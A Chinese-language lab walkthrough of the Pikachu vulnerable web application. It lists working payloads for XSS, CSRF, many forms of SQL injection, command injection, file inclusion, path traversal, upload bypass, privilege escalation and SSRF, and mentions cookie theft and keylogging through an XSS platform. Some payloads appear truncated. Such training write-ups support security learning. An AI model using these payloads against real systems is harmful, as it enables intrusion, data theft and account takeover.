写的越简单,出错越多,进步越大。好吧,也是因为懒。
基于表单的暴力破解:
burp直接刚,不多说。
绕过验证码(on server):
1.改返回包失效2.空验证码失效3.万能验证码失效
这里的验证码在repeter里面重复发包是一直有效的,所以也可以爆破。
绕过验证码(on client):
既然是在客户端,我先看了一下验证码会不会显示在源代码里,假如会就用python写脚本或者burp,but没有。
然后尝试把验证码那段源代码删除,抓包发现没有验证码字段,爆破,= =成功= =
token防爆破:
这一关发现直接爆破会显示正确的和错误的长度一样。找token规律也找不出来。
但是查看返回的response包,会发现里面返回了下一次使用的token值,那么就可以用burp的鱼叉模式进行攻击。
1.把密码和token选择为参数,选择鱼叉模式
2.在potion->grep-extract->打勾然后add->选中返回的token值->ok
3.参数1用runtime吧,参数二用recursive grep,记得把最近一次返回的token值填在payload下面(first value)
4.开始爆破->注意这时候就不能用多线程了,要把线程调成1
反射型XSS(get):
闭合后直接注入:
反射型XSS(post):
登录后直接抓包注入,和上面一样。
存储型XSS:
为了好玩,试了一下xss平台的键盘记录,感觉还是挺不错的。像上面那样闭合插入就行。
DOM型XSS:
#' onmouseover=alert(1)>
DOM型XSS-X:
1' onmouseover=alert '(主要看js代码)
XSS之盲打:
直接插入xss平台生成的payload。这种只有在后台会显示,那我们该怎么办呢?我们插入获取cookie的之类的就能判断了,弹窗之类的我们平常肯定发现不了。
XSS之过滤:
XSS之htmlspecialchars:
1' onmouseover='alert(1)'
XSS之href输出:
href里面可以直接弹窗或者填xss平台的。不用闭合。
javascript:alert(1)
XSS之js输出:
直接看js代码。后面确实有alert,但是被注释了,所以我们不用看逻辑,直接在参数赋值那里注入。
1';alert(1);'
有一说一,xss-labs难多了.
CSRF(GET):
抓包之后发现,修改信息的时候是GET传参的,这个时候就很简单了。把修改信息的url发给处在登录状态的被攻击者,她的信息就被改了。payload自己写。
CSRF(POST):
只要写一个h5就可以了,也不用写php。就是把修改信息的那部分h5代码copy在自己的站点,然后填上默认值然后写js自动提交,把你的网页发给被攻击者就ok。
CSRF(Token):
这一关有token,但是程序员错误的在用户点击修改资料跳转到表单后,把token返回在了源代码里面,因为牵扯到跨域的问题,所以这个代码只能在自己的本地实现一下。也可以xss+csrf。
数字型注入(POST):
抓包,repeter,数字型
字符型注入(GET):
单引号闭合,字符型
搜索型注入:
%' 闭合,实例:?name=l%%27%20union%20select%201,2,3--+
XX型注入:说实话看到这个名字懵逼了一下= =
很明显的报错信息,闭合就好了。?name=lili') union select 1,2--+
insert注入:
注册的时候抓包,随便在一个参数里面注入就行:789' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
update注入:
这里发现自己注册的账号登不上去 == 用lili的,然后改信息,抓包后随便在一个参数上报错注入,和上边一样。
delete注入:
看到留言板就想XSS,but失败了- -好奇怪。 可以看到源代码里,删除的href是一个带id=的url,看到这样的url肯定要注入了啊。
抓包,repeter,注入:id=-59+and+extractvalue(1,concat(0x7e,(database())))+and+1=1
header注入:
在post包里:
UA注入:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 记得每次只要跟随302跳转一次就好了,然后看界面。
Accpet注入:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 这里直接看,不要跟随302跳转
其他的位置都不太行,看着是记录了ip的,但是我用xff和client-ip进行注入都不行。常见的cookie注入也不行,因为PHPSESSID是特殊加密的。
然后接下来会有一个附带了cookie信息的GET请求界面。在这个里面会有特殊的cookie:ant[uname]和ant[pw]。
uname没加密,pw应该是md5加密。这两个地方都可以报错注入。
盲注(base on boolian):
很容易判断出来是单引号闭合:?name=lili' and length(database())=7--+
盲注(base on time):
?name=kobe' and if((length(database())>1),sleep(2),1)--+
宽字节注入:
提示是宽字节注入那么就好办多了。这里是post的数据,要抓包。
name=lili%df' union select 1,database()--+
RCE:
这里运行eval和shell_exec会出错,要在php.in里面,把disable_functions:后面的shell_exec、exec、eval去掉就好了。
ping:
这里因为权限的问题,不能执行net user,只能 127.0.0.1 | ipconfig 了 而且这里有大小限制,只能输出那么多字符。关于| || & && 这几个的区别自己研究。
eval:
phpinfo(); 这里要注意最后的分号不能掉。
文件包含(local):
这里要清楚一点,../了之后是当前脚本所在的这一层。
然后我填入../../../../Windows/System32/drivers/etc/hosts
文件包含(remote):
这里也要改php.in的配置,把allow_url_include打开成On。
我就随便包含了一个网站的robots.txt
文件下载:
?filename=../down_nba.php
文件上传:
(客户端):禁用js,抓包改后缀.....
MIME:也上传png,然后抓包改包,有时候只需要改post数据里的mime,有时候包头的也要改。
getimagesize():上传图片马,然后本地文件包含
水平越权:
用lili登试试,看了下这里没办法越权登录。然后我们查看资料,抓包发现会get传参uname=lili,这时候改lili为lucy就可以查看lucy的信息了。
垂直越权:
这里先用admin账号登录上去看一下创建用户时的post包。
然后把pikachu的普通get包转为post,然后改url为创建账户的php文件url,然后构造数据部分。在实际的测试中是比较难猜到数据部分内容和php文件的
这里是通过普通用户创建了一个dawn账号。
目录遍历:
dir_list.php?title=../../../readme.md
敏感信息泄露:
当前页面源代码里面,模拟了程序员粗心,在源代码里面写上了测试账号密码。
PHP反序列化:
O:1:"S":1:{s:4:"test";s:38:"";}
XXE:
]>
&dawn;
URL重定向:
urlredirect.php?url=http://www.baidu.com
SSRF(curl):
把url请求的文件改成http://www.baidu.com,跟远程文件包含有点像了
SSRF(file_get_content):
和上边差不多,也可以文件包含用php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
来读源码